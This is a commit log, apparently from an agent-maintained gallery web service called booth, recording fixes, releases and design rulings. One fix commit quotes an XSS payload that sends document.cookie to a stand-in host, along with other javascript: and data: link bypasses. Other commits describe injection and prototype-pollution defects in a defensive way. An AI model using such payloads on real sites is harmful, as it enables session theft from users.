6880ab3059be050b8affcf8d1bd72ae51d4646de
43
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
c1f5543b77 |
fix(blur): fold the heid bug-hunt: two file names, a reader-judged writer, one predicate
The heid bug-hunt panel on
|
||
|
|
4cfbce5109 |
fix(blur): .blurred round-trips any rel, and one writer serves both surfaces
The heid bug-hunt on r2b merge 1 found the /blur route stripping `f` before
writing, so the form for " a.png" blurred its neighbour "a.png". The route was
only half of it: `.blurred` was one stripped rel per line, so no writer could
store a rel with a leading space or a newline, whatever the route did.
Operator-ruled 2026-09-23 ("fix the blur").
- booth/blur.py (new, stdlib-only): read_blurred / set_blurred / BLUR_FILE.
`.blurred` is now a JSON array in sorted order, the `.seen` shape: opened
O_NOFOLLOW | O_NONBLOCK with an S_ISREG check and a 1 MiB cap, so a planted
symlink is refused and a FIFO can no longer hang every Desk render (the old
read_text() blocked on one). Writes go through mkstemp + os.replace. The
legacy line format is still READ, so the 6 live line-format files keep their
blur until their next write upgrades them. Measured before the change: 42
live rels, none with edge whitespace, so the defect had no live victims.
- The route no longer strips `f`.
- scripts/booth `blur`/`unblur` go through booth.blur.set_blurred instead of
their own grep/printf line writer. Two writers of one format is how the
formats drift, and after this change the shell writer would have appended a
line to a JSON array. Every path is checked before anything is written.
- Item.blurred_self (appended to the record): the item's own blur, resolved in
booth_items from the same read as `blurred`. It replaces build_gallery's
second read_blurred, which a write between the two reads could split
(invariant 3). app.py no longer reads blur state at all, and a test asserts
it.
Names stay importable from booth.app and booth.items (invariant 4). blur joins
test_stdlib_only. test_cli's per-item-survives test now reads through the reader
rather than asserting the old byte format. The r2b contract and its mutation
row follow blurred_self onto the record. tests/mutations/blur_storage.toml
proves 12 falsifiers by running the change each forbids.
Not in this change, and still ours: the "off"-means-ON idiom drift between
/blur, /blurbooth and /flag (forms only ever send 0/1), and the CLI's
`.blurbooth` touch following a symlink where the service no longer does.
|
||
|
|
37d859c0fd |
memory: snapshot for context clear — the arc mid-flight, and the one thing that blocks
In-flight rewritten to what is actually live: design-dev's blur merge is HELD
at
|
||
|
|
cecd877f60 |
memory: the design arc mid-flight — blur landed, UI pending, and what not to do
A fresh session needs four things that are not derivable from the code: that design-dev is shipping in two merges with blur first, that the booth-blur storage and CLI are already landed so only the control is missing, that the Desk exposes 84 images across 22 booths on the first page (which is WHY blur got re-prioritised), and that the operator explicitly declined to have the sindra-nude-* booths blurred on his behalf. Also records that the hover ruling only looked like it reversed design-dev's argument — he resolved it with @media (hover: hover) rather than anyone being overruled, so it should not be re-raised as a conflict. |
||
|
|
70bfff15cf |
memory: the cache that aged the thing it cached
Two lessons from the thumbnail work, the second of which nearly shipped. We parked progressive loading on a count of images and the cost was in bytes. 'Measure the real booth before optimising it' was followed and still gave the wrong answer, because we measured the dimension that was easy to measure rather than the one the user feels. And a cache living inside the thing it describes can age that thing. Excluding every path under the cache dir passed its own test and was still wrong: creating the directory touches the BOOTH's own mtime, which is what _newest_mtime seeds from. The contents were excluded; the existence was the leak. Had it reached the Desk, one index load would have pushed every booth's expiry out and the TTL would never have fired again. |
||
|
|
447a9b67e9 |
fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
|
||
|
|
b46ac02be2 |
docs: the four flow rulings, compare unparked, and the beta premise superseded
All four ruled, all four taking design-dev's recommendation, relayed via Miranda with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because the booth holding it will sweep. Which is the observation worth keeping: answering a pick removes the hold that was protecting the record. A booth is held while its question is OPEN, so its lifetime is shortest exactly when it has just become valuable — before the answer it is a question, after it is the record of a decision, and only the first state is protected. Both design booths hit this by different routes, one withdrawn and one answered. Raised to design-dev as a flow question rather than patched, since flow is his now. Compare mode leaves the parking lot: our deferral, his overrule, recorded as his call so nobody re-parks it by reading the older rule. And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag stays as written — rewriting a released tag to flatter the present is how a version stops being evidence — an alpha drop-back is illegal because 1.0.0a2 sorts below 1.0.0b1, and no further pre-release is cut until the arc lands. |
||
|
|
f87976b54d |
memory: correct a review point we got wrong, rather than leave it to be re-asserted
We read design-dev's 'SET order' as 'the order they were set in' and told him it was already (created, id). He meant the SET's order — by tile number — which genuinely differs: flag #15 then #07 and today's panel lists #15, #07 while his tray lists #07, #15. His rule is also cleaner than the one we proposed. The flag set sorted by its target's position in sorted(rel) is a total order needing no tie-break at all, because rels are unique. The memory row now says so explicitly and tells the next session not to re-raise the point. Round 1's booth is kept; he releases it once the flow ask is ruled. |
||
|
|
af57933255 |
memory: round 2 is up, and the ordering review that preceded it
Four rulings with the operator on booth-flow-concepts. design-dev asked for an invariant-6 check before building, which is the right order and worth recording as the pattern. His ordinals rule is an improvement on invariant 6 rather than compliance with it: an ordinal counting across all items makes a positional reference stable under filters, where today 'the third one' silently means something different the moment a filter is on. Nothing on our side had noticed. Two corrections returned. Flag 'set order' is already (created, id) — set_flag upserts and unflag removes the entry, so created IS the set time; what he actually needs is the tie-break, not a new field. And 'last activity' must reuse _newest_mtime, whose .lock exclusion was paid for: counting our own lock sidecars made reading through a write path look like activity. |
||
|
|
6ba5a83f81 |
docs: the operator moved the design ownership boundary, and the fence was ours
Round 1 ruled not-as-shown: 'He didn't go far enough, still looks like the booth. I want him to consider the flow and the requirements — design touches, layout, usability all belong to him.' The handoff paragraph that said we were not asking for layout changes driven by information architecture is void. design-dev's 'class additions only, no reordering' was that constraint honoured, so the ruling corrects our brief rather than his round — worth recording that way round, because the next session reading only the artifact would read it as a design failure. Flow, layout, usability and the requirements are his now; the IA is no longer fenced off. What survives is split in two on purpose: correctness invariants that are not design opinions, and engineering defaults we chose that he may now argue with, where a dispute goes to the operator rather than being settled between agents. |
||
|
|
06d83dfd2f |
memory: the staged design-dev ref moves — read it, do not trust a SHA written here
He rebases onto our main and rewrites the ref in place; it has already gone 878ed86 -> a99b7bb. Merging a SHA copied out of the memory file would merge a pre-rebase branch that predates both his scroll-margin fix and our bug-hunt batch. Third instance of one class today: a 'PUSHED' row that was stale when written, a postbox send-note promoted into durable memory, and now a moving ref recorded by SHA. The file records what was true when written; anything that moves needs a command, not a value. |
||
|
|
1826d19a1f |
memory: the bug-hunt panel, the raw-first fragment trap, and five vacuous falsifiers
The mechanic worth keeping: browsers match a URL fragment against element ids RAW first and percent-decoded only second, so a raw rel on both the anchor and the id is ambiguous rather than merely unencoded — and encoding one side only relocates the collision. The count worth keeping: five falsifiers in one unit were green under the exact change they forbade, three arms finding the same one independently. A guard-strength pass is the highest-value part of a panel on a diff that is already well tested, because the findings sit in the gaps the comments are most confident about. |
||
|
|
6042d10bf3 |
memory: the SVOS concept round is with the operator, and a latent CSS defect it surfaced
Three rulings open on booth-svos-retheme (ship / voice / emblem). The branch is an inert ref; merge is gated on the rulings. Verified independently: nothing checked out, main clean, merge-tree clean, merged tree 649 green. The fixup hold is now partial — booth.html is released because design-dev does not touch it, so bug-hunt findings there land immediately. And a real one he caught on our side: base.html reads four CSS custom properties and defines none of them, 15 uses without a fallback. An undefined var makes the whole declaration invalid at computed-value time, so those buttons have had no border at all and a transparent background — not merely default colours. The U7 rail reads the same names with fallbacks, which is why the rail looked deliberate and the buttons under it never did. Assigned to his rewrite; fixing it on main would collide with the one file he is rewriting. |
||
|
|
c47b3dba7e |
memory: pushed v1.0.0b1, and a 'PUSHED' row that was stale when written
main and the annotated v1.0.0b1 tag are on origin; ahead 0, behind 0.
The push carried SIX commits, not the five this session produced:
|
||
|
|
82ac7c44e4 |
docs: design-dev accepted the SVOS retrofit — the /vor-ui brief is declined, and why
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc, the landed templates and the seven handoff constraints, a /vor-ui pass would have cost the operator a serial Q&A to re-derive IA already measured. design-dev made that argument and it is better than the row it overrides. Also settles: we merge and restart; he works against a copy, never :8090; the concept round goes to the operator; webfonts by CDN link with display=swap, because the CDN-free property turned out to be accreted rather than an invariant (checked CLAUDE.md, the non-goals and the IA doc). Corrects a memory defect in the same commit: a postbox send note is a point-in-time snapshot and one was promoted into persistent memory as a durable fact about a handle's delivery mode. It was wrong within the hour. |
||
|
|
8a18dd13ab | memory: snapshot — v1.0.0b1 cut, the version that was two copies, and the design-dev handoff | ||
|
|
bf351a26d1 |
feat(u7): filename groups — the last v1 unit, and a table that did not reproduce
Completes U7 with its fourth component: a jump-to-group rail derived from filename prefixes, replacing the subfolder sections ROADMAP named. The scope departure was ratified by the operator 2026-09-22; this commit deletes test_no_group_rail_is_shipped_yet, the guard that held it back, in the same change that builds what it guarded against. All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a dependency, and it is the operator's — no version bump here, because a commit is not a release. THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified `strip ONE trailing run of digits`; run against the live set that yields 24 groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row per tile — because it keys on the END of the stem, where the instance number lives. The contract's own table claimed 5 and 1 for those two booths and neither reproduces; the numbers are reachable only by two OTHER heuristics, so the table that justified the design was assembled from more than one rule. Its own worked example contradicts it in plain sight. The shipped rule keys on the first separator-delimited segment, where the family lives, destemming only when the stem has no separator at all — so `ac01` -> `ac` while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17 live booths; the table is in the contract. INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13 for 20 — and the contract as written would have shipped a rail that is a second copy of the grid. The rail now renders only when grouping is informative: two or more groups, and the middle group holding more than one item. That predicate gets all 17 booths right. Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that order filtered to images; the group fixture interleaves across subdirectories precisely so a (group, rel) re-sort goes red. Groups are derived from the RENDERED list, not the full gallery, so no anchor points at a filtered-out tile. booth/items.py _group_of + Item.group, derived in the resolver (INV-1) booth/app.py _groups() builds the rail rows; build_gallery carries it booth/templates/ the rail-groups nav and its CSS tests/ +16 tests; 639 green Every new falsifier was proved by running its defeating change (12/12). Three were vacuous first time out: one fixture's positional order happened to be alphabetical, one assertion miscounted elements, and the harness itself certified a broken test twice — no green baseline, and byte-identical mutations silently defeated by the pyc cache's one-second mtime granularity. |
||
|
|
2f85692e95 | memory: a standing no-announcements ruling — the send is the operator's, not the agent's to ask about | ||
|
|
6938d21085 |
memory: the operator ruled on all five — U7's departure approved, main pushed
"accept all recs, or make good ones." Four of five executed. APPROVED: drop subfolder sections for filename-prefix groups. The U7 contract moves to APPROVED and ROADMAP's U7 row and deterministic-order table are rewritten -- groups order by the position of their first member in sorted(rel). SETTLED: `unanswered` means has-an-open-pick, the reading that shipped. The has-no-mark-at-all reading is a different question and is parked to v1.1 rather than left pending. PUSHED: main and both release tags reached origin -- the first time this repo's U6 work has existed anywhere but this box. Recorded because --follow-tags carried neither tag: both are LIGHTWEIGHT per the SemVer policy and that flag only follows annotated ones, so a lightweight release tag needs its own push. NOT SENT: the 17-handle note was blocked by the auto-mode classifier because a multi-recipient send is gated on explicit operator approval. The blanket ruling ratifies the note's content, not that specific approval, and the gate held correctly. Drafted in full with its recipient list at docs/pending/fleet-note-booth-link-refusal.md so it survives a context clear. Not worked around. NOT SEEDED: "no seeding yet" was a specific prior instruction rather than a recommendation of this session's, so the blanket acceptance does not overwrite it. ⚠ The approval leaves a trap: test_no_group_rail_is_shipped_yet exists to stop an UNAPPROVED group rail, and the rail is now approved. It has inverted and must be deleted by whoever builds the rail, or it blocks correct work while reading like a real invariant. Named in the handoff's first step for that reason. |
||
|
|
8bf5343049 |
memory: snapshot — U7 three-quarters built, blocked on one ruling
U6 shipped as v0.6.0 and a late fix as v0.6.1; U7's three ratified components (rail, filters, grid keyboard) are landed and the fourth is deliberately not, because swapping subfolder sections for filename-derived groups is a scope departure the operator has not ruled on. A test fails if anyone builds it anyway. Two new detail files. One decomposes U7 by ratified-versus-not and records the two decisions taken under stated assumption. The other keeps the mechanism behind today's misrouted directive: pane_find addresses seats by a ROLLING PANE TITLE, which is not a stable address, and the failure is silent from the sender's side -- Miranda had no signal until infra-ops flagged it. The incident resolved; the mechanism did not. The generated handoff committed the modality failure its own step-7 read exists to catch: it listed push, seed and the 17-handle note as imperative Next steps when all three are explicitly gated. Rewritten as do-nots, Next steps emptied. Recorded here because it is the second time the generator has needed that backstop. |
||
|
|
e15ee2c4ab |
memory: U7 re-measured before scoping — pre-work only, no unit started
The standing instruction is to re-count the booths before scoping U7. Done against the live 19-booth set, so the scope call is a short read rather than an investigation. Two findings. Sections are worth zero and it is now measured twice: not one of the eleven gallery booths has a subdirectory, and the only two booths that do are both reports, the job where grid navigation matters least. And the grouping signal is in the filename rather than the tree -- stripping a trailing digit-run yields 5 to 16 sensible groups on four of the five large galleries and degenerates to one group on the fifth, while the competing split-on-second- hyphen heuristic is useless everywhere. The sizing case has also moved: the unit was scoped against 270-item booths and the largest gallery is now 81 items / 40 images. No U7 code and no U7 contract. The scope direction is the operator's call. |
||
|
|
400e254da6 |
memory: reconcile the snapshot to v0.6.1
The snapshot was written at v0.6.0 and the marks-guard fix landed after it. Updates the in-flight head commit, the test count, and the ahead-of-origin count so a fresh session is not told a stale number. |
||
|
|
e702be4e1a |
fix: a wrong-shaped answer no longer 500s the gallery and the marks page
Pre-existing, measured at
|
||
|
|
c5ac49356f |
memory: snapshot — U6 released at v0.6.0, six of seven v1 units landed
Nothing in flight. The in-flight section is rewritten to the post-release state and carries the five things a fresh session must not do: push (main is 8 ahead of origin/main), seed the registry, send the 17-handle note, run either dated prediction early, or start U7 without re-counting the booths first. Two new detail files: the release itself, and what each of the five review passes could only see alone -- the strongest evidence this repo has for running all of them rather than picking one. The earlier U6 entry is reconciled; it was written while the gates were still out and said NOT TAGGED. Restored in the rewrite: the warning that the 17 handles were never told `keep` stopped meaning "waiting on an answer", which is load-bearing for how the 2026-10-06 re-count reads, and the fact that a remote now exists. |
||
|
|
1c3ce5ddb5 |
feat(u6): benches — a registry with identity, and the rule enforced
The standing link board carried three jobs because only one of them had a surface. Re-measured before contracting, its 221 rows split into 178 booth announcements (156 already dead) and 43 non-booth rows, of which 8 are the same bench re-posted. U5 gave the booth announcement a home; this gives the running service one, and refuses the one shape that now has somewhere better to go. - booth/benches.py (new, stdlib-only and sibling-free): the Bench record, URL normalization as the identity, a lenient read on the render path and a strict read on the write path, atomic replace under an flock, and a stated total order (state rank, name casefolded, id). - links.booth_target: ONE predicate for "is this a booth URL", consumed by the CLI refusal, the board's dead marker and bench import. Host-agnostic, path-shaped, percent-decoded, never raises. - booth link refuses a booth URL, names `booth new --why`, and writes nothing — not the row, not the board directory, not the announcement. - The board marks rows whose booth has been swept. Nothing here deletes a row: removal stays the operator's two clicks through the existing bulk control. - booth bench add|ls|state|rm|import. import writes nothing without --apply and never edits links.md. - docs/archive/links-2026-09-22.md: the board archived verbatim into git. Identity is the FULL normalized URL, not the origin, and that was measured: origin identity collapses the 43 non-booth rows to 19 groups by merging eight distinct gitea repositories into one row, three unrelated HuggingFace model cards into one, and the two LRPG surfaces on 10.100.10.50:8321 — the design doc's own example of two real benches — into one. Full-URL identity still collapses both cases that doc names: talk 5 to 1, Peedlar 3 to 1. booth link is NOT deprecated. Roughly 14 of the 35 distinct non-booth targets are reference bookmarks for which the board is the right and only home; the design doc's plan to deprecate it would have evicted a third of its live content. Corrected there, along with what "normalized URL" means. The seam review found three real defects in the contract before any code: the claim that test_stdlib_only already forbids sibling imports (it exempts `booth` on purpose), naming resolve_booth as the dead marker's existence check (it raises HTTPException(404), so one swept booth would have 404'd the whole board page), and silence on percent-encoding (booth links are emitted through quote(name, safe=""), so a raw comparison marks every encoded booth dead forever). That both list_booths and sweep_once skip the registry was verified against the real functions rather than assumed. 444 -> 555 tests. Deployed and verified live: 23/23 booths 200, and the board renders 156 dead of 221 rows, matching an independent pre-implementation count. NOT TAGGED: both cold gates are in flight (contract review 01M35BWCJ806MT75NA630Y4WFH, code review 01M35CK8YKEKMV7T15JXEF6A8N) and the bug-hunt has not run. Per the v0.2.0 lesson, the tag waits for the gates. |
||
|
|
91fd8bc69d |
memory: snapshot — U3 released at v0.5.0, pushed and deployed
First push of this repo's history: main was 26 commits ahead of origin/main, so
v0.2.0 through v0.5.0 all reached the Gitea remote in one motion. A future
session can assume a remote exists, which no earlier one could.
Records the open defect U3 found and deliberately did not fix -- a well-formed
.marks.json with a wrong-shaped answer 500s the gallery and marks pages,
measured at
|
||
|
|
7996fbd597 |
chore(release): v0.5.0 — U3, the declared embed seam
Minor rather than patch, and the tie-break rule says default to patch, so the reason is worth stating: a capability arrived AND one left. Report authors gain a declared public API -- one line, `<script src="/_booth/embed.js" defer>`, plus the `data-booth-mark` anchor syntax -- and the verbatim path loses no-JavaScript operation, which it had since it existed. That asymmetry is what makes it not a tie. Either half alone would have been defensible as a patch. Operator approved 2026-09-22. |
||
|
|
5c20e2f4d5 |
fix(u3): seven defects two cold panels found in the declared seam
The /heid-code-review and /heid-bug-hunt panels, artifact-only over the U3
diff, between them found four real defects and three vacuous falsifiers. Both
snapshots predate the contract-review fixes, so two of their findings were
already closed; the rest are here.
Prototype pollution in the placement maps. A mark id and a question key are
both [A-Za-z0-9][A-Za-z0-9._-]*, so `toString` and `constructor` are legal in
each. Against a plain `{}` an anchor naming NO mark returned an inherited
function, passed the guard meant to reject it, and threw on .questions.length
-- aborting placement before the tail, so one typo in author markup cost the
page every ask. The `placed` set had the mirror bug: inherited
`got.constructor` read as already-placed and silently dropped a question.
Object.create(null), three times. Found independently by both panels.
A declaring page was not served as written. read_text() opens in
universal-newline mode, so a CRLF report came back LF, and errors="replace"
replaced every byte that was not valid UTF-8. That is this unit's headline
promise, broken by the read itself, and the test could not see it because its
fixture was LF-only ASCII. The verbatim branch reads and serves bytes now; the
decoded copy answers only "does it declare the seam?".
A submit anchor inside the author's own <form> lost ours -- the parser drops a
nested form element outright -- while the code still recorded the pick as
submitted, so no fallback was appended. Every control's form= pointed at
nothing and the button did nothing. It counts as submitted only if the form
survived.
A broken pick's diagnostic never rendered from a submit-only anchor: an errored
pick's submit block is empty, and mounting that then marking it placed made the
tail skip the "broken ask" box entirely. The anchor is left alone instead.
An author's own element could hijack the open-ask chip -- id="bk-ask-winner-
background" satisfies any prefix rule, hyphen boundary included. The chip now
searches only elements this script mounted, which is the identity the deleted
bk-ask-<id>-top anchor used to guarantee, and takes the earliest by
compareDocumentPosition.
No error boundary around fragment rendering. A .marks.json that is well-formed
JSON with a wrong-shaped answer hydrates with no error and then raises in the
macro; this endpoint renders every pick on every load of the report, so that
was the whole seam gone while hold_read called the file readable. Reproduced
before building for it. _safe_fragments gives it the per-mark leniency
_hydrate_safe already applies one layer down.
The gallery and marks pages still 500 on that same entry. Measured at
|
||
|
|
87e2c5364c |
feat(u3): a verbatim report declares the seam, the Booth mounts into it
A booth that ships its own index.html was served through ten regular
expressions applied to markup the Booth did not write: six in
wrap_verbatim_html hunting for somewhere to hang a favicon and a chip, four
in booth/inline.py substituting rendered ask markup into the author's own
tags. Both worked. Both were the most fragile thing in the service, on the
path the operator uses most.
The whole class is replaced by a declared seam. A report carries one line —
<script src="/_booth/embed.js" defer></script> — and the chrome mounts
through DOM APIs. What the server does to author HTML is now, in full:
return html if declares_embed(html) else html + EMBED_SCRIPT_TAG
Two substring tests and a concatenation. Both of the old wrapper's hard
constraints stop existing rather than being satisfied more carefully:
nothing can displace a leading doctype into quirks mode and nothing can push
the charset meta out of its detection window, because nothing in front of
them ever moves. A page that declares the seam is served exactly as written.
Fragments are still rendered by the _ask_inline.html macros and handed over
GET /b/<name>/embed.json; embed.js places them and decides nothing. Openness
comes from open_marks, order from (created, id), questions in declaration
order. A single-question pick normalizes to key None, so the payload carries
questions as a list rather than an object — keying by name would serialize
that as the string "null".
Placement is an anchor fill, not a replacement: el.insertAdjacentHTML(
'beforeend'), so an author's wrapper and its contents survive. The regex it
replaces was eating the opening tag of dfa-concepts' styled .ask blocks and
orphaning their headings, live, unreported.
data-booth-mark is canonical; data-booth-ask stays a kept alias because two
live reports use it. The comment placeholders are dropped — no users.
Declared cost: the verbatim path now needs JavaScript. The never-invisible
guarantee holds through the index badge and /b/<name>/marks, both of which
render server-side.
Deleted: booth/inline.py entire, wrap_verbatim_html and its six patterns,
_BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK, the styles() macro.
Tests 410 -> 434. tests/test_embed_browser.py drives a real Chromium: the
placement algorithm and the form= binding of a scattered multi-question form
cannot be observed any other way, and that binding was measured rather than
assumed (N=3 per condition, with a form-first positive control and a
points-at-nothing negative control).
Contract: docs/contracts/u3_declared_embed_seam.contract.md, with the
in-session seam review and the cold contract panel both recorded. Two of the
panel's findings were code fixes: a vacuous INV-3 falsifier that a renamed
regex walked straight through, and a bare-substring seam detection that read
a report merely quoting the path as declaring it and silently served it with
no chrome.
|
||
|
|
42ea67f33f |
memory: snapshot — U4 released at v0.4.0, next unit undecided
Current state rewritten for the post-U4 position: 410 tests, v0.4.0 tagged, tree not pushed, all three gates closed. Carries the session's U3 recommendation with its three grounds AND its counter-argument, so the operator can take the call without reloading the unit. The methodology-proposals row goes from three to four and is now marked explicitly untracked by operator choice — the new one is the contract-time vacuity pass, which is the only one of the four with measured evidence behind it after five of seven U4 falsifiers turned out not to discriminate. |
||
|
|
8f81d8f9d0 |
memory: no fleetwide notice for U4, and the measurement caveat it creates
Operator decision 2026-09-22: no broadcast to the 17 consuming handles. Same posture as U5 — adoption gets told apart from design because nobody was primed. The consequence is a measurement one and it needed writing down before it was lost. U4's two halves have different adoption costs: the hold rides for free (a session runs `booth ask` and its booth is held, knowing nothing), but NOT pressing `keep` has to be learned. So a flat `.forever` rate on 2026-10-06 is exactly what 'the mechanism works and nobody was told' looks like, and reading it as a falsification would retire a correct diagnosis on an uncontrolled measurement. Records the three counts to report instead, and states the sensitivity floor: only 4 of 24 booths carry marks at all, so the hold can touch at most a sixth of the fleet and an effect below one or two booths is not resolvable. |
||
|
|
c75d7a2797 |
fix: four defects the U4 bug-hunt panel found in code it did not add
All four pre-date U4 and sit in files it touched, which is why a diff-scoped robustness lens saw them. They are separated from the unit's own commit so the feature history stays readable; the release tags both. * A booth name reached a JS string context. The confirm dialogs interpolated the name into a string literal inside `onsubmit`. Jinja's autoescape is HTML-attribute escaping, not JS-string escaping: the browser decodes the entity back to a quote before the JS parser sees it, so a name crafted to close the string executed on submit. Booth names are agent-authored — making a folder under the data dir is the whole API — so this was a live path, not a theoretical one. The name now travels as a data attribute to a delegated handler, where escaping is escaping. * An unreadable `links.md` returned 500 for the whole booth page. `is_file()` then an unguarded `read_text()`. The board is one tile on that page, and a page that will not load is worse than one missing a tile — the posture `read_blurred`, `marks_for` and `read_manifest` already take. * The index order had no tie-breaker, which violates the deterministic-order invariant. Equal-mtime booths fell back to whatever `iterdir()` yielded, and two booths landed by one `rsync` batch share an mtime exactly. Now `(mtime, name)` reverse: newest first, then name. The operator refers to cards positionally, so a sequence that moves between renders misfiles his judgment rather than crashing. * `/b/<n>/marks.json` reported damage as empty success. `booth marks` exits 3 on an unreadable file precisely so a caller can tell "not yet" from "broken"; the HTTP mirror — the only reader a remote session has — returned the same empty list for both. It now carries `error` and `detail`. The status stays 200 deliberately: reads are lenient here, and a pinned status code is a promise to remote clients this fix has no business breaking. Each has a regression test. 410 tests. |
||
|
|
c3a97c1b64 |
feat(u4): a booth's lifetime is derived from its state, not from a boolean
`.forever` was the only way to say three different things — "this is durable",
"I have not answered yet", "I am still looking" — and the census said it was
carrying all three: 17 of 24 live booths (70%, up from 54% the day before).
Three of the four booths in the fleet awaiting an answer had been pinned by
hand as well, and 10 of the 17 were younger than the TTL, so the sentinel had
bought them nothing and was pressed pre-emptively.
Only the first meaning is what `keep` means. The other two are facts the
service already held and did not consult.
KEPT `.forever` present never swept (unchanged)
HELD an open pick, or marks we cannot read never swept (new)
EPHEMERAL everything else 24h (unchanged)
Viewing is activity: a deliberately-served response from a booth's own page
route writes `.viewed`, which is a dotfile and not a `.lock` dotfile, so
`_newest_mtime` already counts it. There is no new arithmetic — `booth_age_seconds`,
`is_expired` and `expires_in` are unchanged. Machine reads are excluded on
purpose: an agent must not be able to hold its own booth open by polling for
the answer it is waiting on.
The hold is unbounded, and what makes that safe is visibility plus two exits
that already existed. Every surface whose chrome the Booth owns says
`held until answered` where the countdown was, and `booth rm` / the UI x /
`DELETE /b/<n>` take a held booth exactly as they take a kept one. A hold is
protection from the timer, never from the operator.
Three cross-frontier panels ran and each found a class the others could not:
* the paraphrase panel found that two reads of one file are not one read of
one state — the contract's `is_held(marks_for(c), read_error(c))` could
resolve to `([], None)`, the pair that deletes. `hold_read` is one read.
* the code-review panel found, 4-of-4, that the booth header's board branch
rendered no lifetime at all; and that five of seven invariant tests passed
under the change that defeats them.
* the bug-hunt panel found four more paths where a failed read still
authorized a delete, and a `record_view` that followed a planted symlink.
`is_held` became `hold_reason`, which returns the reason rather than a bool
beside a string that can disagree with it.
Prediction, to re-count on or after 2026-10-06: the `.forever` rate falls to
the booths that are genuinely durable references. Only 4 booths carry marks at
all, so this rests on both halves of the unit; a null result cannot distinguish
a wrong diagnosis from a habit that outlived its need.
406 tests (341 before). Contract: docs/contracts/u4_derived_lifetime.contract.md
|
||
|
|
d37b81ab9f |
memory: snapshot — U5 released at v0.3.0, and the index goes two-tier
The two dated log sections had never been split, so every one of their 29 entries sat inline and the startup index had grown to 372 lines — which is the cost the two-tier scheme exists to remove, paid on every session that reads the file. 27 entries were over threshold. All 29 now have a detail file under persistent-memory.d/ and a one-line index entry that routes rather than restates. Index: 372 -> 93 lines. No archival. The soft cap fired, but every entry in this repo is dated 2026-09-21 or later, so the under-14-days guard held all of them back — and the split alone took the index well under the target without moving anything out of the active file. The in-flight section is rewritten for the post-release state: nothing is in flight, no gate is outstanding, and the next unit is explicitly recorded as the operator's undecided call rather than as a plan. The session's recommendation (U4, on three grounds) is written down so it does not have to be re-derived, alongside the two alternatives and why they are alternatives. Two dated predictions are carried forward with their dates and their instruments: the U5 adoption re-measure on 2026-09-29, which already reads 3 of 24 announced and 2 with a why from peers told nothing, and the .forever re-count a fortnight AFTER U4 lands, which is U4's own success criterion and is destroyed by running it early. |
||
|
|
95beede3c3 |
fix(manifest)!: the size cap opened a service-wide hang; close it
The diff-scoped bug-hunt panel, four arms, artifact-only. Its strongest finding is one I created two hours earlier while hardening the reader. `stat` reports size 0 for a FIFO and 0 for a symlink to /dev/zero, so both sail under the byte cap added for the RecursionError round — and then `read_text` either blocks in read() with no EOF, so the except never runs, or allocates until the kernel intervenes. `list_booths` reads every booth on every GET / and /healthz, so ONE such file stalls the front page for the whole service, with no error and no recovery short of a restart. Reproduced before believing it (timeout returned 124). S_ISREG is checked BEFORE the size in both modules now; verified against the live service with two FIFOs planted, which answered 200 in 36ms. The shape worth carrying: st_size answers a different question than "can this be read", and a bound that trusts it inherits everything it does not mean. A hardening fix opened a worse hole than the one it closed. THE UPLOAD PATH WROTE ABOVE ITS OWN CLEANUP GUARD (4/4) A failed manifest write orphaned a .uploaded half-booth with no files in it — and because the temp name now carries a random suffix, nothing ever overwrote the leak, and .booth.json.<hex>.tmp is not a .lock, so _newest_mtime counted it and kept that empty booth past every sweep. The uniqueness fix from the previous round is what made the leak permanent. Both writes moved inside the guard; the temp is removed on every exit path. DAMAGED BYTES ARE KEPT, NOT REPLACED (4/4, INV-6) Marks made this explicit in v0.2.1 and this write path contradicted it: a manifest that failed on ONE field lost the others with it, including a why the re-announcer may never have kept anywhere. It diverges from marks in HOW it honours the rule — marks refuse and answer 409 because the operator's judgment is not restatable; a manifest quarantines and proceeds, because refusing would fail `booth add` and lose the files it was copying. ONE OPENNESS PREDICATE, AS U2 SAID (2/4) `booth answer` spelled out `if m.answer is None` while `booth marks` asked `open_marks`, so a partially-answered pick read as done to one verb and open to the other — at the same instant, on the same booth. U2's INV-2 put openness in one function precisely so they could not drift. The mirror case is fixed too: a pick that hydrates broken is refused by the web route, so `answer --wait` polled an hour on a form nothing could ever land. ALSO - now_stamp was whole-second while the importer had moved to microseconds, and '-' sorts before '.', so a later mark came out ahead of an earlier import inside the same second. One format; the previous round's ordering fix had opened this one. - `_broken` was the third of three directory-name fallbacks and the one still handing a raw name into a card's sub-line. - An identical re-announce rewrote the file and reset the TTL. `booth link` does this on every post to the standing board. - The importer's return went through the bare _hydrate, not _hydrate_safe. - A marks document could be written larger than it can be read back, and then read as no marks at all. Refused at the write instead. - `choice` reached the answer builder raw while `notes` beside it did not. AND ONE FINDING 